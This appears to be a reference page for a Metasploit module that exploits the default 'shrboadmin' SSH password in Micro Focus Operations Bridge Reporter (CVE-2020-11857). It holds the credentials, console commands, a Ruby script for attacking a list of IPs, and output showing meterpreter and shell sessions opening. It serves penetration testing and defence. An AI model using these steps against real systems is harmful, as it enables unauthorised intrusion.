Micro Focus Operations Bridge Reporter shrboadmin default password - Metasploit
This page contains detailed information about how to use the exploit/linux/ssh/microfocus_obr_shrboadmin metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Micro Focus Operations Bridge Reporter shrboadmin default password
Module: exploit/linux/ssh/microfocus_obr_shrboadmin
Source code: modules/exploits/linux/ssh/microfocus_obr_shrboadmin.rb
Disclosure date: 2020-09-21
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 22
List of CVEs: CVE-2020-11857
This module abuses a known default password on Micro Focus Operations Bridge Reporter. The 'shrboadmin' user, installed by default by the product has the password of 'shrboadmin', and allows an attacker to login to the server via SSH. This module has been tested with Micro Focus Operations Bridge Manager 10.40. Earlier versions are most likely affected too. Note that this is only exploitable in Linux installations.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using microfocus_obr_shrboadmin against a single host
Normally, you can use exploit/linux/ssh/microfocus_obr_shrboadmin this way:
msf > use exploit/linux/ssh/microfocus_obr_shrboadmin
msf exploit(microfocus_obr_shrboadmin) > show targets
... a list of targets ...
msf exploit(microfocus_obr_shrboadmin) > set TARGET target-id
msf exploit(microfocus_obr_shrboadmin) > show options
... show and set options ...
msf exploit(microfocus_obr_shrboadmin) > exploit
Using microfocus_obr_shrboadmin against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your microfocus_obr_shrboadmin will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/ssh/microfocus_obr_shrboadmin")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module abuses a known default password on Micro Focus Operations Bridge Reporter. The 'shrboadmin' user, installed by default by the product has the password of 'shrboadmin', and allows an attacker to login to the server via SSH. This module has been tested with Micro Focus Operations Bridge Manager 10.40. Earlier versions are most likely affected too, but have not been tested with this module. Note that this is only exploitable in Linux installations.
Verification Steps
- Setup RHOST and run it!
Scenarios
Micro Focus Operations Bridge Manager 10.40
msf6 > use exploit/linux/ssh/microfocus_obr_shrboadmin
msf6 exploit(linux/ssh/microfocus_obr_shrboadmin) > set rhosts 10.0.0.100
rhosts => 10.0.0.100
msf6 exploit(linux/ssh/microfocus_obr_shrboadmin) > run
[*] 10.0.0.100:22 - Attempt to login to the server...
[+] 10.0.0.100:22 - Login Successful (shrboadmin:shrboadmin)
[*] Found shell.
[*] Command shell session 1 opened (10.0.0.1:35023 -> 10.0.0.100:22) at 2021-04-23 14:44:09 +0700
whoami
shrboadmin
id
uid=1001(shrboadmin) gid=1001(shrboadmin) groups=1001(shrboadmin) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uname -a
Linux centos7 3.10.0-1062.18.1.el7.x86_64 #1 SMP Tue Mar 17 23:49:17 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
Go back to menu.
Msfconsole Usage
Here is how the linux/ssh/microfocus_obr_shrboadmin exploit module looks in the msfconsole:
msf6 > use exploit/linux/ssh/microfocus_obr_shrboadmin
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(linux/ssh/microfocus_obr_shrboadmin) > show info
Name: Micro Focus Operations Bridge Reporter shrboadmin default password
Module: exploit/linux/ssh/microfocus_obr_shrboadmin
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2020-09-21
Provided by:
Pedro Ribeiro <[email protected]>
Available targets:
Id Name
-- ----
0 Micro Focus Operations Bridge Reporter (Linux) versions <= 10.40
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD shrboadmin yes Password to login with
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 22 yes The target port
USERNAME shrboadmin yes Username to login with
Payload information:
Description:
This module abuses a known default password on Micro Focus
Operations Bridge Reporter. The 'shrboadmin' user, installed by
default by the product has the password of 'shrboadmin', and allows
an attacker to login to the server via SSH. This module has been
tested with Micro Focus Operations Bridge Manager 10.40. Earlier
versions are most likely affected too. Note that this is only
exploitable in Linux installations.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-11857
http://www.zerodayinitiative.com/advisories/ZDI-20-1215
https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md
https://softwaresupport.softwaregrp.com/doc/KM03710590
Module Options
This is a complete list of options available in the linux/ssh/microfocus_obr_shrboadmin exploit:
msf6 exploit(linux/ssh/microfocus_obr_shrboadmin) > show options
Module options (exploit/linux/ssh/microfocus_obr_shrboadmin):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD shrboadmin yes Password to login with
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 22 yes The target port
USERNAME shrboadmin yes Username to login with
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Micro Focus Operations Bridge Reporter (Linux) versions <= 10.40
Advanced Options
Here is a complete list of advanced options supported by the linux/ssh/microfocus_obr_shrboadmin exploit:
msf6 exploit(linux/ssh/microfocus_obr_shrboadmin) > show advanced
Module advanced options (exploit/linux/ssh/microfocus_obr_shrboadmin):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
SSH_DEBUG false no Enable SSH debugging output (Extreme verbosity!)
SSH_IDENT SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 yes SSH client identification string
SSH_TIMEOUT 30 no Specify the maximum time to negotiate a SSH session
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/ssh/microfocus_obr_shrboadmin module can exploit:
msf6 exploit(linux/ssh/microfocus_obr_shrboadmin) > show targets
Exploit targets:
Id Name
-- ----
0 Micro Focus Operations Bridge Reporter (Linux) versions <= 10.40
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/ssh/microfocus_obr_shrboadmin exploit:
msf6 exploit(linux/ssh/microfocus_obr_shrboadmin) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/interact normal No Unix Command, Interact with Established Connection
Evasion Options
Here is the full list of possible evasion options supported by the linux/ssh/microfocus_obr_shrboadmin exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/ssh/microfocus_obr_shrboadmin) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<RHOST>:<RPORT> SSH - Disconnected during negotiation
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Disconnected during negotiation" error message:
99: ssh = Net::SSH.start(rhost, user, opts)
100: end
101: rescue Rex::ConnectionError
102: return
103: rescue Net::SSH::Disconnect, ::EOFError
104: print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
105: return
106: rescue ::Timeout::Error
107: print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
108: return
109: rescue Net::SSH::AuthenticationFailed
<RHOST>:<RPORT> SSH - Timed out during negotiation
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Timed out during negotiation" error message:
102: return
103: rescue Net::SSH::Disconnect, ::EOFError
104: print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
105: return
106: rescue ::Timeout::Error
107: print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
108: return
109: rescue Net::SSH::AuthenticationFailed
110: print_error "#{rhost}:#{rport} SSH - Failed authentication"
111: rescue Net::SSH::Exception => e
112: print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
<RHOST>:<RPORT> SSH - Failed authentication
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Failed authentication" error message:
105: return
106: rescue ::Timeout::Error
107: print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
108: return
109: rescue Net::SSH::AuthenticationFailed
110: print_error "#{rhost}:#{rport} SSH - Failed authentication"
111: rescue Net::SSH::Exception => e
112: print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
113: return
114: end
115:
<RHOST>:<RPORT> SSH Error: <E.CLASS> : <E.MESSAGE>
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH Error: <E.CLASS> : <E.MESSAGE>" error message:
107: print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
108: return
109: rescue Net::SSH::AuthenticationFailed
110: print_error "#{rhost}:#{rport} SSH - Failed authentication"
111: rescue Net::SSH::Exception => e
112: print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
113: return
114: end
115:
116: if ssh
117: conn = Net::SSH::CommandStream.new(ssh)
Go back to menu.
Related Pull Requests
References
- CVE-2020-11857
- ZDI-20-1215
- https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md
- https://softwaresupport.softwaregrp.com/doc/KM03710590
See Also
Check also the following modules related to this module:
- exploit/linux/http/microfocus_obr_cmd_injection
- exploit/linux/http/microfocus_secure_messaging_gateway
- exploit/linux/ssh/ceragon_fibeair_known_privkey
- exploit/linux/ssh/cisco_ucs_scpuser
- exploit/linux/ssh/exagrid_known_privkey
- exploit/linux/ssh/f5_bigip_known_privkey
- exploit/linux/ssh/ibm_drm_a3user
- exploit/linux/ssh/loadbalancerorg_enterprise_known_privkey
- exploit/linux/ssh/mercurial_ssh_exec
- exploit/linux/ssh/quantum_dxi_known_privkey
- exploit/linux/ssh/quantum_vmpro_backdoor
- exploit/linux/ssh/solarwinds_lem_exec
- exploit/linux/ssh/symantec_smg_ssh
- exploit/linux/ssh/vmware_vdp_known_privkey
- exploit/linux/ssh/vyos_restricted_shell_privesc
- exploit/multi/http/microfocus_obm_auth_rce
- exploit/multi/http/microfocus_ucmdb_unauth_deser
- exploit/windows/local/microfocus_operations_privesc
- exploit/apple_ios/ssh/cydia_default_ssh
- exploit/multi/ssh/sshexec
- exploit/solaris/ssh/pam_username_bof
- exploit/unix/ssh/arista_tacplus_shell
- exploit/unix/ssh/array_vxag_vapv_privkey_privesc
- exploit/unix/ssh/tectia_passwd_changereq
- exploit/windows/ssh/freeftpd_key_exchange
- exploit/windows/ssh/freesshd_authbypass
- exploit/windows/ssh/freesshd_key_exchange
- exploit/windows/ssh/putty_msg_debug
- exploit/windows/ssh/securecrt_ssh1
- exploit/windows/ssh/sysax_ssh_username
Authors
- Pedro Ribeiro <pedrib[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.